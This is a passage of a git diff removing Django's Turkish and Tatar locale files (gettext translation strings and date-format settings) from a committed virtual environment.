python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Lütfen en fazla %(num)d form gönderin." -msgstr[1] "Lütfen en fazla %(num)d form gönderin." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Lütfen en az %(num)d form gönderin." -msgstr[1] "Lütfen en az %(num)d form gönderin." - -msgid "Order" -msgstr "Sıralama" - -msgid "Delete" -msgstr "Sil" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Lütfen %(field)s için kopya veriyi düzeltin." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Lütfen %(field)s için benzersiz olmak zorunda olan, kopya veriyi düzeltin." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Lütfen %(date_field)s içindeki %(lookup)s için benzersiz olmak zorunda olan " -"%(field_name)s için kopya veriyi düzeltin." - -msgid "Please correct the duplicate values below." -msgstr "Lütfen aşağıdaki kopya değerleri düzeltin." - -msgid "The inline value did not match the parent instance." -msgstr "Satıriçi değer ana örnek ile eşleşmedi." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Geçerli bir seçenek seçin. Bu seçenek, mevcut seçeneklerden biri değil." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” geçerli bir değer değil." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s, %(current_timezone)s saat dilimi olarak yorumlanamadı; bu " -"belirsiz olabilir ya da mevcut olmayabilir." - -msgid "Clear" -msgstr "Temizle" - -msgid "Currently" -msgstr "Şu anki" - -msgid "Change" -msgstr "Değiştir" - -msgid "Unknown" -msgstr "Bilinmiyor" - -msgid "Yes" -msgstr "Evet" - -msgid "No" -msgstr "Hayır" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "evet,hayır,olabilir" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bayt" -msgstr[1] "%(size)d bayt" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "ö.s." - -msgid "a.m." -msgstr "ö.ö." - -msgid "PM" -msgstr "ÖS" - -msgid "AM" -msgstr "ÖÖ" - -msgid "midnight" -msgstr "gece yarısı" - -msgid "noon" -msgstr "öğlen" - -msgid "Monday" -msgstr "Pazartesi" - -msgid "Tuesday" -msgstr "Salı" - -msgid "Wednesday" -msgstr "Çarşamba" - -msgid "Thursday" -msgstr "Perşembe" - -msgid "Friday" -msgstr "Cuma" - -msgid "Saturday" -msgstr "Cumartesi" - -msgid "Sunday" -msgstr "Pazar" - -msgid "Mon" -msgstr "Pzt" - -msgid "Tue" -msgstr "Sal" - -msgid "Wed" -msgstr "Çrş" - -msgid "Thu" -msgstr "Prş" - -msgid "Fri" -msgstr "Cum" - -msgid "Sat" -msgstr "Cmt" - -msgid "Sun" -msgstr "Paz" - -msgid "January" -msgstr "Ocak" - -msgid "February" -msgstr "Şubat" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Nisan" - -msgid "May" -msgstr "Mayıs" - -msgid "June" -msgstr "Haziran" - -msgid "July" -msgstr "Temmuz" - -msgid "August" -msgstr "Ağustos" - -msgid "September" -msgstr "Eylül" - -msgid "October" -msgstr "Ekim" - -msgid "November" -msgstr "Kasım" - -msgid "December" -msgstr "Aralık" - -msgid "jan" -msgstr "oca" - -msgid "feb" -msgstr "şub" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "nis" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "haz" - -msgid "jul" -msgstr "tem" - -msgid "aug" -msgstr "ağu" - -msgid "sep" -msgstr "eyl" - -msgid "oct" -msgstr "eki" - -msgid "nov" -msgstr "kas" - -msgid "dec" -msgstr "ara" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Oca." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Şub." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mart" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Nisan" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayıs" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Haz." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Tem." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ağu." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Eyl." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Eki." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Kas." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Ara." - -msgctxt "alt. month" -msgid "January" -msgstr "Ocak" - -msgctxt "alt. month" -msgid "February" -msgstr "Şubat" - -msgctxt "alt. month" -msgid "March" -msgstr "Mart" - -msgctxt "alt. month" -msgid "April" -msgstr "Nisan" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayıs" - -msgctxt "alt. month" -msgid "June" -msgstr "Haziran" - -msgctxt "alt. month" -msgid "July" -msgstr "Temmuz" - -msgctxt "alt. month" -msgid "August" -msgstr "Ağustos" - -msgctxt "alt. month" -msgid "September" -msgstr "Eylül" - -msgctxt "alt. month" -msgid "October" -msgstr "Ekim" - -msgctxt "alt. month" -msgid "November" -msgstr "Kasım" - -msgctxt "alt. month" -msgid "December" -msgstr "Aralık" - -msgid "This is not a valid IPv6 address." -msgstr "Bu, geçerli bir IPv6 adresi değil." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ya da" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d yıl" -msgstr[1] "%(num)d yıl" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d ay" -msgstr[1] "%(num)d ay" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d hafta" -msgstr[1] "%(num)d hafta" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d gün" -msgstr[1] "%(num)d gün" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d saat" -msgstr[1] "%(num)d saat" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d dakika" -msgstr[1] "%(num)d dakika" - -msgid "Forbidden" -msgstr "Yasak" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF doğrulaması başarısız oldu. İstek iptal edildi." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Bu iletiyi görüyorsunuz çünkü bu HTTPS sitesi, web tarayıcınız tarafından " -"gönderilen “Referer üstbilgisi”ni gerektirir, ancak hiçbir şey gönderilmedi. " -"Bu üstbilgi güvenlik nedenleri için gerekir, tarayıcınızın üçüncü taraf " -"uygulamalar tarafından ele geçirilmediğinden emin olun." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Eğer tarayıcınızı “Referer” üstbilgilerini etkisizleştirmek için " -"yapılandırdıysanız, lütfen bunları, en azından bu site ya da HTTPS " -"bağlantıları veya “aynı-kaynakta” olan istekler için yeniden etkinleştirin." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Eğer etiketi " -"kullanıyorsanız ya da “Referrer-Policy: no-referrer” üstbilgisini dahil " -"ediyorsanız, lütfen bunları kaldırın. CSRF koruması, katı göndereni denetimi " -"yapmak için “Referer” üstbilgisi gerektirir. Gizlilik konusunda endişeniz " -"varsa, üçüncü taraf sitelere bağlantılar için gibi " -"alternatifler kullanın." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Bu iletiyi görüyorsunuz çünkü bu site, formları gönderdiğinizde bir CSRF " -"tanımlama bilgisini gerektirir. Bu tanımlama bilgisi güvenlik nedenleri için " -"gerekir, tarayıcınızın üçüncü taraf uygulamalar tarafından ele " -"geçirilmediğinden emin olun." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Eğer tarayıcınızı tanımlama bilgilerini etkisizleştirmek için " -"yapılandırdıysanız, lütfen bunları, en azından bu site ya da “aynı-kaynakta” " -"olan istekler için yeniden etkinleştirin." - -msgid "More information is available with DEBUG=True." -msgstr "Daha fazla bilgi DEBUG=True ayarı ile mevcut olur." - -msgid "No year specified" -msgstr "Yıl bilgisi belirtilmedi" - -msgid "Date out of range" -msgstr "Tarih aralık dışında" - -msgid "No month specified" -msgstr "Ay bilgisi belirtilmedi" - -msgid "No day specified" -msgstr "Gün bilgisi belirtilmedi" - -msgid "No week specified" -msgstr "Hafta bilgisi belirtilmedi" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Mevcut %(verbose_name_plural)s yok" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Gelecek %(verbose_name_plural)s mevcut değil, çünkü %(class_name)s." -"allow_future değeri False olarak tanımlı." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Geçersiz tarih dizgisi “%(datestr)s” verilen biçim “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Sorguyla eşleşen hiç %(verbose_name)s bulunamadı" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Sayfa “sonuncu” değil, ya da bir tamsayıya dönüştürülemez." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Geçersiz sayfa (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Liste boş ve “%(class_name)s.allow_empty” değeri False." - -msgid "Directory indexes are not allowed here." -msgstr "Dizin indekslerine burada izin verilmiyor." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” mevcut değil" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s indeksi" - -msgid "The install worked successfully! Congratulations!" -msgstr "Yükleme başarılı olarak çalıştı! Tebrikler!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Django %(version)s sürümü için yayım notlarını göster" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Bu sayfayı görüyorsunuz çünkü DEBUG=True parametresi ayarlar dosyanızın içindedir ve " -"herhangi bir URL yapılandırmadınız." - -msgid "Django Documentation" -msgstr "Django Belgeleri" - -msgid "Topics, references, & how-to’s" -msgstr "Konular, kaynaklar ve nasıl yapılırlar" - -msgid "Tutorial: A Polling App" -msgstr "Eğitim: Anket Uygulaması" - -msgid "Get started with Django" -msgstr "Django ile başlayın" - -msgid "Django Community" -msgstr "Django Topluluğu" - -msgid "Connect, get help, or contribute" -msgstr "Bağlanın, yardım alın, ya da katkıda bulunun" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tr/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/tr/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tr/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/tr/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 64400ca9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tr/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tr/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/tr/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index ada8b329..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tr/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tr/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/tr/formats.py deleted file mode 100644 index 806f4428..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tr/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "d F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "d F" -SHORT_DATE_FORMAT = "d M Y" -SHORT_DATETIME_FORMAT = "d M Y H:i" -FIRST_DAY_OF_WEEK = 1 # Pazartesi - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%y-%m-%d", # '06-10-25' - # "%d %B %Y", # '25 Ekim 2006' - # "%d %b. %Y", # '25 Eki. 2006' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tt/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/tt/LC_MESSAGES/django.mo deleted file mode 100644 index 843b012c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tt/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tt/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/tt/LC_MESSAGES/django.po deleted file mode 100644 index 84d06ef7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tt/LC_MESSAGES/django.po +++ /dev/null @@ -1,1211 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Azat Khasanshin , 2011 -# v_ildar , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Tatar (http://www.transifex.com/django/django/language/tt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tt\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "Гарәп теле" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Азәрбайҗан" - -msgid "Bulgarian" -msgstr "Болгар теле" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "Бенгалия теле" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "Босния теле" - -msgid "Catalan" -msgstr "Каталан теле" - -msgid "Czech" -msgstr "Чех теле" - -msgid "Welsh" -msgstr "Уэльс теле" - -msgid "Danish" -msgstr "Дания теле" - -msgid "German" -msgstr "Алман теле" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Грек теле" - -msgid "English" -msgstr "Инглиз теле" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Британ инглиз теле" - -msgid "Esperanto" -msgstr "Эсперанто теле" - -msgid "Spanish" -msgstr "Испан теле" - -msgid "Argentinian Spanish" -msgstr "Аргентина испан теле" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Мексикалы испан" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуалы испан" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "Эстон теле" - -msgid "Basque" -msgstr "Баск теле" - -msgid "Persian" -msgstr "Фарсы теле" - -msgid "Finnish" -msgstr "Финн теле" - -msgid "French" -msgstr "Француз теле" - -msgid "Frisian" -msgstr "Фриз теле" - -msgid "Irish" -msgstr "Ирланд теле" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Галлий теле" - -msgid "Hebrew" -msgstr "Яһүд теле" - -msgid "Hindi" -msgstr "Хинд теле" - -msgid "Croatian" -msgstr "Хорват теле" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Венгр теле" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Индонезия теле" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Исланд теле" - -msgid "Italian" -msgstr "Итальян теле" - -msgid "Japanese" -msgstr "Япон теле" - -msgid "Georgian" -msgstr "Грузин теле" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Казах теле" - -msgid "Khmer" -msgstr "Кхмер теле" - -msgid "Kannada" -msgstr "Каннада теле" - -msgid "Korean" -msgstr "Корея теле" - -msgid "Luxembourgish" -msgstr "Люксембург теле" - -msgid "Lithuanian" -msgstr "Литвалылар теле" - -msgid "Latvian" -msgstr "Латвия теле" - -msgid "Macedonian" -msgstr "Македон теле" - -msgid "Malayalam" -msgstr "Малаялам теле" - -msgid "Mongolian" -msgstr "Монгол теле" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "Голланд теле" - -msgid "Norwegian Nynorsk" -msgstr "Норвегиялеләр (Нюнорск) теле" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Паджаби теле" - -msgid "Polish" -msgstr "Поляк теле" - -msgid "Portuguese" -msgstr "Португал теле" - -msgid "Brazilian Portuguese" -msgstr "Бразилия португал теле" - -msgid "Romanian" -msgstr "Румын теле" - -msgid "Russian" -msgstr "Рус теле" - -msgid "Slovak" -msgstr "Словак теле" - -msgid "Slovenian" -msgstr "Словен теле" - -msgid "Albanian" -msgstr "Албан теле" - -msgid "Serbian" -msgstr "Серб теле" - -msgid "Serbian Latin" -msgstr "Серб теле (латин алфавиты)" - -msgid "Swedish" -msgstr "Швед теле" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "Тамиль теле" - -msgid "Telugu" -msgstr "Телугу теле" - -msgid "Thai" -msgstr "Тай теле" - -msgid "Turkish" -msgstr "Төрек теле" - -msgid "Tatar" -msgstr "Татар теле" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "Украин теле" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Вьетнам теле" - -msgid "Simplified Chinese" -msgstr "Гадиләштерелгән кытай теле" - -msgid "Traditional Chinese" -msgstr "Традицион кытай теле" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Дөрес кыйммәтне кертегез." - -msgid "Enter a valid URL." -msgstr "Рөхсәт ителгән URLны кертегез." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Дөрес эл. почта адресны кертегез." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Рөхсәт ителгән IPv4 адресын кертегез." - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "Өтерләр белән бүленгән сан билгеләрен кертегез" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Бу кыйммәтнең %(limit_value)s булуын тикшерегез (хәзер ул - %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Бу кыйммәтнең %(limit_value)s карата кечерәк яки тигез булуын тикшерегез." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Бу кыйммәтнең %(limit_value)s карата зуррак яки тигез булуын тикшерегез." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -msgid "Enter a number." -msgstr "Сан кертегез." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "һәм" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Бу кырның кыйммәте NULL булырга тиеш түгел." - -msgid "This field cannot be blank." -msgstr "Бу кыр буш булырга тиеш түгел." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Мондый %(field_label)s белән булган %(model_name)s инде бар." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "%(field_type)s типтагы кыр" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Логик (True яисә False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Юл (күп дигәндә %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Өтерләр белән бүленгән бөтен саннар" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Дата (вакыт күрсәтмәсе булмаган)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Дата (вакыт күрсәтмәсе белән)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Унарлы вакланма" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Эл. почта" - -msgid "File path" -msgstr "Файл юлы" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Күчерелүчән өтер белән булган сан" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Бөтен сан" - -msgid "Big (8 byte) integer" -msgstr "Зур бөтен (8 байт)" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "IP-адрес" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Логик (True, False я None)" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Вакыт" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Тыш ачкыч (тип бәйле кыр буенча билгеләнгән)" - -msgid "One-to-one relationship" -msgstr "\"Бергә бер\" элемтәсе" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "\"Күпкә куп\" элемтәсе" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Мәҗбүри кыр." - -msgid "Enter a whole number." -msgstr "Бөтен сан кертегез." - -msgid "Enter a valid date." -msgstr "Рөхсәт ителгән датаны кертегез." - -msgid "Enter a valid time." -msgstr "Рөхсәт ителгән вакытны кертегез." - -msgid "Enter a valid date/time." -msgstr "Рөхсәт ителгән дата һәм вакытны кертегез." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Һишбер файл җибәрелмәгән. Форма кодлавын тикшерегез." - -msgid "No file was submitted." -msgstr "Һишбер файл җибәрелмәгән." - -msgid "The submitted file is empty." -msgstr "Җибәрелгән файл буш." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Зинһар, җибәрегез файлны яисә бушайту байракчасын билгеләгез, икесен бергә " -"түгел." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Рөхсәт ителгән рәсемне йөкләгез. Сез йөкләгән файл рәсем түгел яисә бозылган." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Дөрес тәкъдимне сайлагыз. Рөхсәт ителгән кыйммәтләр арасында %(value)s юк. " - -msgid "Enter a list of values." -msgstr "Кыйммәтләр исемлеген кертегез." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" - -msgid "Order" -msgstr "Тәртип" - -msgid "Delete" -msgstr "Бетерергә" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Зинһар, %(field)s кырындагы кабатлана торган кыйммәтне төзәтегез." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Зинһар, %(field)s кырындагы кыйммәтне төзәтегез, ул уникаль булырга тиеш." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Зинһар, %(field_name)s кырындагы кыйммәтне төзәтегез, ул %(date_field)s " -"кырындагы %(lookup)s өчен уникаль булырга тиеш." - -msgid "Please correct the duplicate values below." -msgstr "Зинһар, астагы кабатлана торган кыйммәтләрне төзәтегез." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is 